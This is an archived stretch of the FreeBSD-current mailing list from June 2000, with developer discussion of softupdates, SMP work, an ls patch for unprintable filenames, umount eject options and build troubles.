<200006221936.NAA91645@harmony.village.org> To: Mike Smith Subject: Re: Unknown Devices Cc: freebsd-current@FreeBSD.ORG, hardware@FreeBSD.ORG In-reply-to: Your message of "Thu, 22 Jun 2000 12:23:01 PDT." <200006221923.MAA00872@mass.osd.bsdi.com> References: <200006221923.MAA00872@mass.osd.bsdi.com> Date: Thu, 22 Jun 2000 13:36:39 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006221923.MAA00872@mass.osd.bsdi.com> Mike Smith writes: : > In message <200006051523.IAA17373@mass.cdrom.com> Mike Smith writes: : > : Watch out - some USB modems are also WinModems. : > : > usb tty and modems aren't supported, as far as I know. : : They're "nearly" there, AFAIR. I sent Nick some code a while back that : addressed the last problem I understood he had. I'll have to ask him about it then. : You pull them apart and look at the chipset inside. There are a number : of chipsets from eg. ST that take an isochronous audio stream. Yuck. Where's that air sickness bag... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 13:42:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from builder.FreeBSD.ORG (builder.FreeBSD.ORG [204.216.27.24]) by hub.freebsd.org (Postfix) with ESMTP id D6BC337BE0A; Thu, 22 Jun 2000 13:42:40 -0700 (PDT) (envelope-from green@FreeBSD.org) Date: Thu, 22 Jun 2000 13:44:47 -0700 (PDT) From: Brian Fundakowski Feldman To: Wes Peters Cc: Greg Lehey , FreeBSD current users , FreeBSD-arch@FreeBSD.ORG Subject: Re: -e option to umount? In-Reply-To: <395265AA.AEC5EB8@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 22 Jun 2000, Wes Peters wrote: > Greg Lehey wrote: > > > > What do people think about adding a -e option to umount(8) to eject a > > removable medium where possible? > > Yes! For what it's worth, there's a port, ports/sysutils/eject, which is made to do this. I'm not one to deny a simple feature in the base system, though, even if this feature is not /really/ that simple. -- Brian Fundakowski Feldman / "Any sufficiently advanced bug is \ green@FreeBSD.org | indistinguishable from a feature." | FreeBSD: The Power to Serve! \ -- Rich Kulawiec / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 13:59:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (pm236.conference.usenix.org [209.179.127.236]) by hub.freebsd.org (Postfix) with ESMTP id 040FC37B6BF for ; Thu, 22 Jun 2000 13:59:16 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id NAA00971; Thu, 22 Jun 2000 13:56:56 -0700 (PDT) (envelope-from grog) Date: Thu, 22 Jun 2000 13:56:56 -0700 From: Greg Lehey To: Matthew Dillon Cc: Bernd Walter , current@FreeBSD.ORG, Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development Message-ID: <20000622135656.D845@sydney.worldwide.lemis.com> References: <20000619115330.D79318@blitz.canonware.com> <200006200034.RAA81825@apollo.backplane.com> <20000622183817.A18476@cicely8.cicely.de> <200006221707.KAA03498@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006221707.KAA03498@apollo.backplane.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 22 June 2000 at 10:07:38 -0700, Matthew Dillon wrote: > >> On Mon, Jun 19, 2000 at 05:34:47PM -0700, Matthew Dillon wrote: >>> >>> Ok, I have put up a web page that will track my efforts. >>> >>> http://apollo.backplane.com/FreeBSDSmp/ >> >> Your first patchset contains only i386 code. >> What is the timeframe for alpha relative to i386? >> Will each i386 code step converted to it a short time later or finally >> after the i386 code completely has been stabilized? > > The alpha code is going to be dealt with by the alpha guys. I am > not an alpha assembly programmer. There is going to be considerably > more breakage for the alpha port in the next month then the i386 port, > but hopefully it will get worked out. Hmm. This adds another dependency. We will really need to get the Alpha code in place before we can commit anything. Is there anybody out there who can do this? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 14:53: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id BFAC537BEDB; Thu, 22 Jun 2000 14:52:55 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115312>; Fri, 23 Jun 2000 07:52:54 +1000 Content-return: prohibited Date: Fri, 23 Jun 2000 07:52:44 +1000 From: Peter Jeremy Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-reply-to: ; from cdillon@wolves.k12.mo.us on Thu, Jun 22, 2000 at 03:22:12PM -0500 To: Chris Dillon Cc: cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Message-Id: <00Jun23.075254est.115312@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii References: <86g0q6gw5x.wl@localhost.local.idaemons.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Jun-22 15:22:12 -0500, Chris Dillon wrote: >I think it would be a very good idea to enable softupdates by default >when a new filesystem is created. Modify newfs to do this and use >tunefs only if you want to _disable_ softupdates on a filesystem. My only concern with doing this is softupdates behaviour when disk space is freed. If you delete a file, it takes about 20 seconds for the space occupied by the file to appear in the free list. If you have relatively little free disk space and write another file, you can get `disk full', even though there will be sufficient free space when the freed blocks become available. This has bitten a number of people who have turned softupdates on for their root filesystems - and had installworld die. Whilst the solution to this appears obvious (if you can't allocate a block, but there are free blocks on the to-be-commited list, wait for free space to become available), actually implementing it is quite difficult if you want to avoid deadlocks. Kirk has previously recommended that softupdates not be enabled on a filesystem unless it has sufficient free space to absorb about 1 minute's writes. A number of people have also claimed that softupdates interacts with Vinum (particularly RAID-5) in undesirable ways. I believe that at least some of this was a misunderstanding of the way softupdates handles write re-ordering (or at least the write semantics that softupdates expects). Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 15:14: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (fw2.aub.dk [195.24.1.195]) by hub.freebsd.org (Postfix) with ESMTP id 70CA237BEC4; Thu, 22 Jun 2000 15:13:54 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id AAA01491; Fri, 23 Jun 2000 00:13:27 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Peter Jeremy Cc: Chris Dillon , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-reply-to: Your message of "Fri, 23 Jun 2000 07:52:44 +1000." <00Jun23.075254est.115312@border.alcanet.com.au> Date: Fri, 23 Jun 2000 00:13:27 +0200 Message-ID: <1489.961712007@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <00Jun23.075254est.115312@border.alcanet.com.au>, Peter Jeremy write s: >Whilst the solution to this appears obvious (if you can't allocate a >block, but there are free blocks on the to-be-commited list, wait for >free space to become available), actually implementing it is quite >difficult if you want to avoid deadlocks. Kirk has previously >recommended that softupdates not be enabled on a filesystem unless it >has sufficient free space to absorb about 1 minute's writes. yup, this one is tricky, I tried to fix it by sleeping on the potential of allocating a block, but even that isn't enough, and had undesirable consequences. >A number of people have also claimed that softupdates interacts with >Vinum (particularly RAID-5) in undesirable ways. I believe that at >least some of this was a misunderstanding of the way softupdates >handles write re-ordering (or at least the write semantics that >softupdates expects). This one was a misunderstanding, in fact vinum/raid5 works more reliably with softupdates than without I belive. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 15:38: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id 422B637B752; Thu, 22 Jun 2000 15:37:53 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id AAA09324; Fri, 23 Jun 2000 00:38:11 +0200 (CEST) (envelope-from assar) To: current@FreeBSD.ORG Cc: kris@FreeBSD.ORG Subject: fixes for bin/19354 or ls and wierd characters From: Assar Westerlund Date: 23 Jun 2000 00:38:11 +0200 Message-ID: <5lbt0t9wa4.fsf@assaris.sics.se> Lines: 174 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a proposed patch to ls that fixes bin/19354 and makes things more consistent. Comments? /assar Index: extern.h =================================================================== RCS file: /home/ncvs/src/bin/ls/extern.h,v retrieving revision 1.13 diff -u -w -r1.13 extern.h --- extern.h 2000/06/17 14:19:31 1.13 +++ extern.h 2000/06/22 22:36:10 @@ -43,13 +43,13 @@ int statcmp __P((const FTSENT *, const FTSENT *)); int revstatcmp __P((const FTSENT *, const FTSENT *)); -void prcopy __P((char *, char *, int)); void printcol __P((DISPLAY *)); void printlong __P((DISPLAY *)); void printscol __P((DISPLAY *)); void usage __P((void)); -int len_octal __P((char *, int)); -int prn_octal __P((char *)); +int len_octal __P((const char *, int)); +int prn_octal __P((const char *)); +int prn_printable __P((const char *)); #ifdef COLORLS void parsecolors __P((char *cs)); void colorquit __P((int)); Index: ls.c =================================================================== RCS file: /home/ncvs/src/bin/ls/ls.c,v retrieving revision 1.41 diff -u -w -r1.41 ls.c --- ls.c 2000/06/17 14:19:31 1.41 +++ ls.c 2000/06/22 22:36:12 @@ -566,8 +566,6 @@ continue; } } - if (f_nonprint) - prcopy(cur->fts_name, cur->fts_name, cur->fts_namelen); if (cur->fts_namelen > maxlen) maxlen = cur->fts_namelen; if (f_octal || f_octal_escape) { Index: ls.h =================================================================== RCS file: /home/ncvs/src/bin/ls/ls.h,v retrieving revision 1.13 diff -u -w -r1.13 ls.h --- ls.h 2000/06/05 02:14:01 1.13 +++ ls.h 2000/06/22 22:36:16 @@ -48,6 +48,7 @@ extern int f_longform; /* long listing format */ extern int f_octal; /* print unprintables in octal */ extern int f_octal_escape; /* like f_octal but use C escapes if possible */ +extern int f_nonprint; /* show unprintables as ? */ extern int f_sectime; /* print the real time for all files */ extern int f_size; /* list size in short listing */ extern int f_statustime; /* use time of last mode change */ Index: print.c =================================================================== RCS file: /home/ncvs/src/bin/ls/print.c,v retrieving revision 1.35 diff -u -w -r1.35 print.c --- print.c 2000/06/21 21:49:57 1.35 +++ print.c 2000/06/22 22:36:18 @@ -112,6 +112,21 @@ } } +/* + * print name in current style + */ +static int +printname(name) + const char *name; +{ + if (f_octal || f_octal_escape) + return prn_octal(name); + else if (f_nonprint) + return prn_printable(name); + else + return printf("%s", name); +} + void printlong(dp) DISPLAY *dp; @@ -166,8 +181,7 @@ if (f_color) color_printed = colortype(sp->st_mode); #endif - if (f_octal || f_octal_escape) (void)prn_octal(p->fts_name); - else (void)printf("%s", p->fts_name); + (void)printname(p->fts_name); #ifdef COLORLS if (f_color && color_printed) endcolor(0); @@ -278,8 +292,7 @@ if (f_color) color_printed = colortype(sp->st_mode); #endif - chcnt += (f_octal || f_octal_escape) ? prn_octal(p->fts_name) - : printf("%s", p->fts_name); + chcnt += printname(p->fts_name); #ifdef COLORLS if (f_color && color_printed) endcolor(0); @@ -494,9 +507,6 @@ return; } path[lnklen] = '\0'; - if (f_octal || f_octal_escape) { (void)printf(" -> "); - (void)prn_octal(path); - } - else (void)printf(" -> %s", path); + printname(path); } Index: util.c =================================================================== RCS file: /home/ncvs/src/bin/ls/util.c,v retrieving revision 1.21 diff -u -w -r1.21 util.c --- util.c 2000/06/06 07:29:43 1.21 +++ util.c 2000/06/22 22:36:18 @@ -56,17 +56,19 @@ #include "ls.h" #include "extern.h" -void -prcopy(src, dest, len) - char *src, *dest; - int len; +int +prn_printable(s) + const char *s; { - unsigned char ch; + unsigned char c; + int n; - while (len--) { - ch = *src++; - *dest++ = isprint(ch) ? ch : '?'; - } + for (n = 0; (c = *s) != '\0'; ++s, ++n) + if (isprint(c)) + putchar(c); + else + putchar('?'); + return n; } /* @@ -84,7 +86,7 @@ int len_octal(s, len) - char *s; + const char *s; int len; { int r = 0; @@ -96,7 +98,7 @@ int prn_octal(s) - char *s; + const char *s; { unsigned char ch; int len = 0; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 16:43: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 6598B37B5F8; Thu, 22 Jun 2000 16:43:01 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 2BB821CD7; Thu, 22 Jun 2000 16:43:00 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Adrian Chadd Cc: Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-Reply-To: Message from Adrian Chadd of "Thu, 22 Jun 2000 18:57:43 +0200." <20000622185743.R29036@zoe.bastard.co.uk> Date: Thu, 22 Jun 2000 16:43:00 -0700 From: Peter Wemm Message-Id: <20000622234300.2BB821CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Adrian Chadd wrote: > On Thu, Jun 22, 2000, Julian Elischer wrote: > > [snip NetBSD making softupdates a mount option] > > > They obvioulsly DIDN'T discuss this with Kirk! > > > > this is not what he wants and for good reason.. > > see the long discussion son this topic in the archives. > > I've read the mail archives as to why. If these issues are still > valid, I'll withdrawl the idea :) Because fsck is supposed to be able to do things more intelligently when it knows the *previous* mount state, not the current state. ie: if a disk was last mounted in softupdates mode, fsck is supposed to do stuff differently (possibly doing as little as a superblock cleanup and deferring the lost-space recovery until much later). For the NetBSD version to work, what needs to happen is that the -osoftdep flag needs to be propagated to the superblock so that after reboot, fsck knows what to do. When it is next mounted, then update it to the new state. This gives us the ability to use the 'softdep' flag in fstab but without breaking fsck. Sure, fsck can look at what is *now* in fstab, but not what mode a given filesystem was in the last time it was mounted. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 17:30:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom2-182.telepath.com [216.14.2.182]) by hub.freebsd.org (Postfix) with SMTP id 8812037C090 for ; Thu, 22 Jun 2000 17:29:57 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 6537 invoked by uid 100); 23 Jun 2000 00:29:05 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14674.44881.186885.439009@guru.mired.org> Date: Thu, 22 Jun 2000 19:29:05 -0500 (CDT) To: Peter Jeremy Cc: Chris Dillon , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-Reply-To: <00Jun23.075254est.115312@border.alcanet.com.au> References: <86g0q6gw5x.wl@localhost.local.idaemons.org> <00Jun23.075254est.115312@border.alcanet.com.au> X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Jeremy writes: > On 2000-Jun-22 15:22:12 -0500, Chris Dillon wrote: > >I think it would be a very good idea to enable softupdates by default > >when a new filesystem is created. Modify newfs to do this and use > >tunefs only if you want to _disable_ softupdates on a filesystem. > > My only concern with doing this is softupdates behaviour when disk > space is freed. If you delete a file, it takes about 20 seconds for > the space occupied by the file to appear in the free list. If you > have relatively little free disk space and write another file, you > can get `disk full', even though there will be sufficient free space > when the freed blocks become available. Yup. > This has bitten a number of people who have turned softupdates on for > their root filesystems - and had installworld die. I get bit by "make install" for the kernel under those conditions. The other side effect is with scripts that rearrange disk space and then want to report on remaining space - df returns the out-of-date answer. I know - this is a multitasking OS, so you have to live with that kind of thing, but it shouldn't be quite so blatant. > Whilst the solution to this appears obvious (if you can't allocate a > block, but there are free blocks on the to-be-commited list, wait for > free space to become available), actually implementing it is quite > difficult if you want to avoid deadlocks. Kirk has previously > recommended that softupdates not be enabled on a filesystem unless it > has sufficient free space to absorb about 1 minute's writes. The "obvious solution" won't fix the second problem I see. The solution to that one sould be that a "sync" on the file system in question does what you expect it to do (and now several someones can point out the discussion of why this doesn't work, right?). That fixes the second problem, and provides a workaround for the first problem if you really need it. ; Thu, 22 Jun 2000 17:40:28 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id B1DCC1CD7 for ; Thu, 22 Jun 2000 17:40:26 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: current@freebsd.org Subject: HEADS UP: softupdates (a bit late, but...) Date: Thu, 22 Jun 2000 17:40:26 -0700 From: Peter Wemm Message-Id: <20000623004026.B1DCC1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The softupdates license has changed to 2-clause BSD-style with no more restrictions on use. The files were repocopied into their "natural" locations (sys/ufs/ffs) so that symlinks are no longer required. This has been done retroactively to all older branches that have the soft updates code. The actual process of doing the copies etc got messed up, but it should have been sorted out now. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 19:12:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from rtp.tfd.com (rtp.tfd.com [198.79.53.206]) by hub.freebsd.org (Postfix) with ESMTP id 4BCB937B71D for ; Thu, 22 Jun 2000 19:12:35 -0700 (PDT) (envelope-from kent@chapel-hill.tfd.com) Received: from chapel-hill.tfd.com (chapel-hill.tfd.com [10.20.0.40]) by rtp.tfd.com (8.9.3/8.9.3) with ESMTP id WAA18546 for ; Thu, 22 Jun 2000 22:10:15 -0400 (EDT) Received: (from kent@localhost) by chapel-hill.tfd.com (8.9.3/8.9.3) id WAA21836 for current@freebsd.org; Thu, 22 Jun 2000 22:12:28 -0400 (EDT) (envelope-from kent) Date: Thu, 22 Jun 2000 22:12:28 -0400 (EDT) From: Kent Hauser Message-Id: <200006230212.WAA21836@chapel-hill.tfd.com> To: current@freebsd.org Subject: building stable from current Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, For the last while (several months), whenever I try to build a RELENG_4 release from my -current box, it fails building gcc. As -current is supposed to be "fluid" for the next several months, I wanted to make a set of -current and -stable CDs now. The current build was fine. To build stable I did the following: # cd /usr; rm -rf src.stable;mkdir src.stable # rm -rf /usr/obj/usr/src.stable # su kent % cd src.stable % cvs -R -d /home/ncvs co -r RELENG_4 src % cd src.stable; mv src/* .;rmdir src % make buildworld >& build.log and it blew up linking cc1plus. I built -stable as me so as to be sure no system files were touched. But I'm also confused as I thought "buildworld" was self-contained -- as long as a reasonably current make was available to jump-start the process. Thoughts & corrections greatly welcomed. Kent To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 19:39: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 1023437C072; Thu, 22 Jun 2000 19:38:54 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p36-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.37]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id LAA23511; Fri, 23 Jun 2000 11:38:36 +0900 (JST) Message-ID: <3952CBB0.21B4D431@newsguy.com> Date: Fri, 23 Jun 2000 11:30:08 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Nick Hibma Cc: Peter Wemm , FreeBSD CURRENT Mailing List , Doug Rabson , green@FreeBSD.ORG Subject: Re: Using KLD's with modules that depend other modules in the same file References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nick Hibma wrote: > > Comments? > Name: kern_linker.c.diff > kern_linker.c.diff Type: Plain Text (TEXT/PLAIN) > Encoding: BASE64 We would need similar changes to loader(8). I think all the relevant parts are in src/sys/boot/common/load_elf.c. In any case, you shouldn't have much trouble locating the relevant files in that directory. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 22: 3: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 8E9BF37B61B for ; Thu, 22 Jun 2000 22:02:59 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p10-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.139]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id OAA28264; Fri, 23 Jun 2000 14:02:53 +0900 (JST) Message-ID: <3952EEA2.BC2EF0B6@newsguy.com> Date: Fri, 23 Jun 2000 13:59:14 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: "Jordan K. Hubbard" Cc: current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development References: <12213.961613148@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > > Everyone talks about using bitkeeper but none of the people who > recommend it have ever actually tried to use it for anything. > Before such recommendations will bear weight, this needs to > change. :) OCVS? (Or was it OVCS? I can never recall...) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 22:24:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (fw2.aub.dk [195.24.1.195]) by hub.freebsd.org (Postfix) with ESMTP id 3296D37B5F5; Thu, 22 Jun 2000 22:24:05 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id HAA00671; Fri, 23 Jun 2000 07:23:49 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Peter Wemm Cc: Adrian Chadd , Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-reply-to: Your message of "Thu, 22 Jun 2000 16:43:00 PDT." <20000622234300.2BB821CD7@overcee.netplex.com.au> Date: Fri, 23 Jun 2000 07:23:49 +0200 Message-ID: <669.961737829@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000622234300.2BB821CD7@overcee.netplex.com.au>, Peter Wemm writes : >Because fsck is supposed to be able to do things more intelligently when it >knows the *previous* mount state, not the current state. ie: if a disk was >last mounted in softupdates mode, fsck is supposed to do stuff differently >(possibly doing as little as a superblock cleanup and deferring the >lost-space recovery until much later). > >For the NetBSD version to work, what needs to happen is that the -osoftdep >flag needs to be propagated to the superblock so that after reboot, fsck >knows what to do. When it is next mounted, then update it to the new state. Right, but if mounting with -osoftdep, does what a "tunefs -n enable" does (and vice versa) fsck will have that knowledge and the tunefs step would be un-needed. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 23:10:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay02.chello.nl (relay02.chello.nl [212.83.68.146]) by hub.freebsd.org (Postfix) with ESMTP id 49C6537B628 for ; Thu, 22 Jun 2000 23:10:08 -0700 (PDT) (envelope-from wkb@chello.nl) Received: from chello.nl ([213.46.78.184]) by relay02.chello.nl (InterMail vK.4.02.00.00 201-232-116 license 2ee4e7c625482f2f2a1950a80f6c8d58) with ESMTP id <20000623060949.MEIC26299.relay02@chello.nl>; Fri, 23 Jun 2000 08:09:49 +0200 Received: (from wkb@localhost) by chello.nl (8.9.3/8.9.3) id XAA02208; Thu, 22 Jun 2000 23:39:25 +0200 (CEST) (envelope-from wkb) Date: Thu, 22 Jun 2000 23:39:25 +0200 From: Wilko Bulte To: Greg Lehey Cc: Matthew Dillon , Bernd Walter , current@freebsd.org, Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development Message-ID: <20000622233925.A2194@freebie.wbnet> Reply-To: wilko@freebsd.org References: <20000619115330.D79318@blitz.canonware.com> <200006200034.RAA81825@apollo.backplane.com> <20000622183817.A18476@cicely8.cicely.de> <200006221707.KAA03498@apollo.backplane.com> <20000622135656.D845@sydney.worldwide.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000622135656.D845@sydney.worldwide.lemis.com>; from grog@lemis.com on Thu, Jun 22, 2000 at 01:56:56PM -0700 X-OS: FreeBSD 4.0-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jun 22, 2000 at 01:56:56PM -0700, Greg Lehey wrote: > On Thursday, 22 June 2000 at 10:07:38 -0700, Matthew Dillon wrote: > > > >> On Mon, Jun 19, 2000 at 05:34:47PM -0700, Matthew Dillon wrote: > >>> > >>> Ok, I have put up a web page that will track my efforts. > >>> > >>> http://apollo.backplane.com/FreeBSDSmp/ > >> > >> Your first patchset contains only i386 code. > >> What is the timeframe for alpha relative to i386? > >> Will each i386 code step converted to it a short time later or finally > >> after the i386 code completely has been stabilized? > > > > The alpha code is going to be dealt with by the alpha guys. I am > > not an alpha assembly programmer. There is going to be considerably > > more breakage for the alpha port in the next month then the i386 port, > > but hopefully it will get worked out. > > Hmm. This adds another dependency. We will really need to get the > Alpha code in place before we can commit anything. Is there anybody > out there who can do this? I think (but am not sure!) that dfr was working on SMP for axp some time ago? -- Wilko Bulte http://www.freebsd.org "Do, or do not. There is no try" wilko@freebsd.org http://www.nlfug.nl Yoda - The Empire Strikes Back To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 23:36: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id BBD1737B822; Thu, 22 Jun 2000 23:35:59 -0700 (PDT) (envelope-from mark@grondar.za) Received: from 